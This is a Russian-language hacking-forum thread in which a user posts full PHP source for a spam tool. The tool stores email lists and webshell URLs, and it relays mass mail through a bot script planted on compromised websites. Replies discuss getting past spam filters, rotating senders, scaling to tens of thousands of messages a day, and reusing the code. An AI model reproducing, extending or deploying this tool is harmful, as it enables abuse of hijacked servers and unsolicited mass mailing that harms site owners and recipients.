Мой пхп спамер на шелах!!!

Discussion in 'PHP' started by TADIAMOND, 23 Nov 2012.

  1. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    В общем-то обрыскал пол интеренета, нигде не нашел что-то подобное, поэтому я решил написать сам, естественно в нем нету никаких наворот! Он просто шлет с шелов текст письма по адресам! Писал я его просто для ознакомления, в стиле "как бы оно могло быть", так что приму любую критику с вашей стороны с пониманием! Шлет с шелов, на которых разрешена ф-я mail()(по моим тестам 4 из 6ти) в инбокс на mail.ru и gmail.com

    Вот сам код:

    index.html
    Code:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Меню спамера!!!©rezvey</title>
     </head>
     <body>
      <p align="center"><h1><font color="#FF0000">Меню спамера!</font></h1></p>
       <a href="dob_shell.php" align="justify" align="center">Добавить шелл</a>
       <a href="dob_mail.php" align="justify" align="center">Добавить мейлы</a>
       <a href="spamscr.php" align="justify" align="center">Спам</a>
       ©rezvey
     </body>
    </html>

    dob_mail.php
    Code:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Добавить мейл!!!©rezvey</title>
     </head>
     <body>
      <?php
          if(!empty($_POST)){
          file_put_contents('./base/mails.txt', $_POST['mail']);
          $html=array_unique(file('./base/mails.txt'));
          echo 'Мейлы добавлены, Сейчас:'.count($html).' мейла(ов)';
          } else {
             echo 'ничего не добавлено';
            }
    //©rezvey
      ?>
      <p align="center"><h1><font color="#FF0000">Список шелов!</font></h1></p>
      <form action="dob_mail.php" method="post">
      <input type="hidden" name="action" value="post">  
       <table width="1" border="0">  
        </tr>
        <tr>
         <td colspan="2">Список мейлов:<br>
          <textarea cols="50" rows="8" name="mail"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Добавить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>

    dob_shell.php
    Code:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Добавить шелл!!!©rezvey</title>
     </head>
     <body>
      <?php
          if(!empty($_POST)){
          file_put_contents('./base/shells.txt', $_POST['shell']);
          $html=array_unique(file('./base/shells.txt'));
          echo 'Шелы добавлены, Сейчас:'.count($html).' шела(ов)';
          } else {
             echo 'ничего не добавлено';
            }
    //©rezvey
      ?>
      <p align="center"><h1><font color="#FF0000">Список шелов!</font></h1></p>
      <form action="dob_shell.php" method="post">
       <table width="1" border="0">  
        </tr>
        <tr>
         <td colspan="2">Список шелов:<br>
          <textarea cols="50" rows="8" name="shell"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Добавить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>

    spamscr.php
    Code:
    <?php
     error_reporting(E_ALL);
     ini_set("display_errors", 1);
    ?>
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Моя форма отправки писем!©rezvey</title>
     </head>
     <body>
      <p align="center"><h1><font color="#FF0000">Моя форма отправки писем!</font></h1></p>
      <form action="spamscr.php" method="post">
       <table width="1" border="0">  
        <tr>
         <td width="50%">Тема письма:</td>
         <td align="center">
          <input type="text" name="title" maxlength="32" placeholder="тема письма" value="" >
         </td>
        </tr>
        <tr>
         <td colspan="2">Сообщение:<br>
          <textarea cols="50" rows="8" name="text"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Отправить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>
    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    if(!empty($_POST)){
    if(!empty($_POST['title'])){
    if(!empty($_POST['text'])){
    $buffer = @fopen("./base/mails.txt", "r");
    $shells = file("./base/shells.txt");
    $j=0;
    $i=0;
    if ($buffer) {
        while (($mail = fgets($buffer)) !== false) {
            if($j == count($shells)){
                $j=0;
                sleep(10);
            }
         $mailp=trim($mail);
    	 $_POST['mail'] = $mail;
    	 $mailp=trim($_POST['mail']);
      	 $text = $_POST['text']."\r\n".'____________________'."\r\n".'Созданно в ознакомительных целях!'."\r\n".'Автор:rezvey';
         $title = $_POST['title'];
    	 $shell = trim($shells[$j]);
    $title1 = '=?UTF-8?B?'.base64_encode($title).'?=';
    	 $headers  = 'MIME-Version: 1.0' . "\r\n";
         $headers .= 'Content-Type: text/plain; charset="utf-8"' . "\r\n";
         $header.="Subject: $title1";
         $postfields = array('meil' => $mailp, 'title' => $title1, 'text' => $text, 'headers' => $headers);
         $curl = curl_init();
         curl_setopt($curl, CURLOPT_URL, $shell);
         curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
         curl_setopt($curl, CURLOPT_POST, true);
         curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
         $out = curl_exec($curl);
    	 echo $out;
         curl_close($curl);
         $i++;
        }
        if (!feof($buffer)) {
            echo "Error: unexpected fgets() fail\n";
        }
        fclose($buffer);
        echo 'Рассылка завершена!!!';
    }
    }
    }
    } else {
    echo 'Заполните поля';
    }
    //©rezvey
    ?>

    botmail.php
    Code:
    <?php
        $mail = $_POST['meil'];
        $title = $_POST['title'];
        $text = $_POST['text'];
    	$headers = $_POST['headers'];
        mail($mail, $title, $text, $headers);
    ?>
    Исходник с инструкцией можно скачать >>>ТУТ<<<

    Пасс:555

    Благодарности: очень благодарен двум людям, Человеку который меня консультировал постоянно по написанию, и второму, за то что любезно предоставил шелы для тестов!
     
    #1 TADIAMOND, 23 Nov 2012
    Last edited: 23 Nov 2012
  2. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    Спасибо за объективную критику, Я в принципе и не думал реализовывать готовый продукт, а просто хотел попробовать написать, спасибо за предложения, учту, если не трудно кидай, буду пробовать реализовать!
     
  3. ePower

    ePower New Member

    Joined:
    15 Dec 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Доработал этот скрипт под себя и протестировал.
    Вот резутьтат: gmail - инбокс, hotmail - в спам если есть линк в сообщении, yahoo mail - в спам в любых вриантах.

    Кто работает с такой системой - отпишитесь как у вас результаты по проходимости писем.
     
  4. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    Так, это не совсем от моего скрипта зависит, мой скрипт шлет с помощью ф-и mail(), почтовики реагируют на содержимое письма, тебе нужна рандомизация, и шифрование ссылки(с этим проблемы, я вообще в спаме не шарю), так что если найдешь актуальную инфу, кинь в личку, я допилю!
     
  5. Radiator

    Radiator Active Member

    Joined:
    17 Mar 2009
    Messages:
    394
    Likes Received:
    143
    Reputations:
    24
    to ePower

    выложи код посмотреть то_)
     
  6. ePower

    ePower New Member

    Joined:
    15 Dec 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Надо больше тестов, что бы сказать точно от чего зависит.
    Пока что мое мнение такое: если указываешь обратную несуществующую почту или существующую но другого домена, то письма только из за этого попадают в спам. Письма отправлялись самые простые - не спам.
    Рандомизацию, шифрование ссылки - с этим все впорядке. Хотя я пока говорил про тестовые отсылки: 1 письмо.
    Если одно письмо не проходит, то что говорить о потоке :)
    В других причинах - хосты в блеках, или плохие настройки MTA, или еще что то, короче технические вопросы на стороне хоста.

    @TADIAMOND уже почти месяц прошел от твоего первого поста, ты на поток еще не поставил рассылку? что мешает? :)
    кстати, даю совет, рассылать как и тестить не обязательно с шеллов, можно и со своих хостов ;)

    Для посмотреть вполне достаточно того, что выложено в первом посте :)
     
    #6 ePower, 12 Dec 2012
    Last edited: 12 Dec 2012
  7. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    Да у меня все времени нету разобраться, я то не спамер, просто интересно было как оно может работать было! А вот сейчас думаю, раз людям интересно так мож допилить в полноценный!
     
  8. ePower

    ePower New Member

    Joined:
    15 Dec 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Ясно. :) И я не спамер!

    Да он и есть полноценный!
    Дальше любые допилки уже под личные желания, а они у каждого свои :)

    Кого интесесует обмен опытом - стучите в личку,
    я вот взялся за этот скрипт, интересует обмен мнениями с практиками :)
     
    #8 ePower, 12 Dec 2012
    Last edited: 12 Dec 2012
  9. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Эм по поводу кода.

    1. Большую базу мыл он не выдержит так же как и нормальную базу шеллов.
    2. Используй стек SPL (работает быстрее чем array в некоторых случаях) - читай файл частями fread с буфером например в 4096 байт.
    3.CURL также можно оптимизировать на отправку сразу пачки запросов.
    4. Не php единым - на компилируемом ЯП будет работать быстрее ;)
     
    _________________________
  10. ePower

    ePower New Member

    Joined:
    15 Dec 2009
    Messages:
    7
    Likes Received:
    0
    Reputations:
    0
    Я еще на продакшн не запускал.
    Поэтому моя теория по нагрузке такая:
    1 инстанс команд центра обслуживает 80000 мейлов в сутки и около 30 хостов.
    Запуск команд центра по крону, раз в минуту. И отправка мейлов пачками поминутно.
     
  11. zed221

    zed221 New Member

    Joined:
    2 Aug 2011
    Messages:
    41
    Likes Received:
    1
    Reputations:
    -11
    Скачал я исходник залил на хост заполнил шел и майлы и мне выдал хост вот это Notice: Undefined variable: header in /home/t/turbazas.hut4.ru/WWW/spamscr.php on line 60
    string(12) "[email protected]" string(12) "[email protected]" Рассылка завершена!!!
    Хотя письма не пришли, немного не понятно первое как заполнять поля майлов через ; или : или проста через энтэр??? в любом случае после отправки вылазит это сообщения Notice: Undefined variable: header in /home/t/turbazas.hut4.ru/WWW/spamscr.php on line 60
    string(12) "[email protected]" string(12) "[email protected]" Рассылка завершена!!!
    2ое как понять 3)заливаем на шел бота(botmail.php) файл botmail.php куда нужно заливать в тот-же хост где и все от него файлы??? или в папку base??? и что нужно прописать в файле shells.txt???? и в инструкции тоже не понятно 4 ответ 4)Добавляем шелы в соответствующим разделе в виде http://site.ru/полный_путь/botmail.php куда их добавлять??? в исходники тока один путь прописан это в папке base на путь shells.txt (http://turbazas.hut4.ru/base/shells.txt).
     
    #11 zed221, 30 Dec 2012
    Last edited: 4 Mar 2013
  12. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    Плохо ты читал инструкцию!

    1)мейлы добавляешь через интер(один мейл на одной строке)
    2)Шелы добавляешь в форму, она же есть в скрипте!
    3)Я писал это не для рассылки, это ознакомительный скрипт!
     
  13. boortyhuhtyu

    boortyhuhtyu Member

    Joined:
    2 Feb 2011
    Messages:
    727
    Likes Received:
    26
    Reputations:
    -6
    спамер http://pastebin.com/Ni6hezue
     
  14. zed221

    zed221 New Member

    Joined:
    2 Aug 2011
    Messages:
    41
    Likes Received:
    1
    Reputations:
    -11
    boortyhuhtyu

    boortyhuhtyu: ну и где в этом скрипте размножения ботов??? тут даже нету функции отправителей, всего один отправитель, таких скриптов моря в нэти, одни отправитель это очень много минусов даже если и есть функция количество, по тому как приходящему от одного отправителя письма приходят слитные, их можно удалить сразу, и потом не составит не ко кого труда занести этого отправителя в чёрный список ну или создать фильтр, а у меня скрипт функция $From = она не ограниченная то и есть отправителей можно вбить с кока хочешь, и письма приходят в рассыпную от разных почтовых ящиков, то и есть их сразу не удалишь, вот идейка есть как добавить в этот скрипт функцию array_unique чтоб при каждом обновлении кроном почтовый адрес отправителя менялся, пока не могу найти ответ не где.
     
  15. boortyhuhtyu

    boortyhuhtyu Member

    Joined:
    2 Feb 2011
    Messages:
    727
    Likes Received:
    26
    Reputations:
    -6
    всё там есть ты плохо смотрел.
     
  16. zed221

    zed221 New Member

    Joined:
    2 Aug 2011
    Messages:
    41
    Likes Received:
    1
    Reputations:
    -11
    boortyhuhtyu

    Всё проверил но возможность отправки тока с одного почтового адреса, а получателей можно много вписывать а мне надо именно разных отправителей
     
  17. TADIAMOND

    TADIAMOND Member

    Joined:
    19 Feb 2011
    Messages:
    140
    Likes Received:
    40
    Reputations:
    6
    Напиши свой, не надо задалбывать людей! В сети есть куча решений, и за приемлемую сумму!
     
  18. playmaker101

    playmaker101 New Member

    Joined:
    27 Dec 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Багодарка автору, пригодился после небольшой переделки под себя.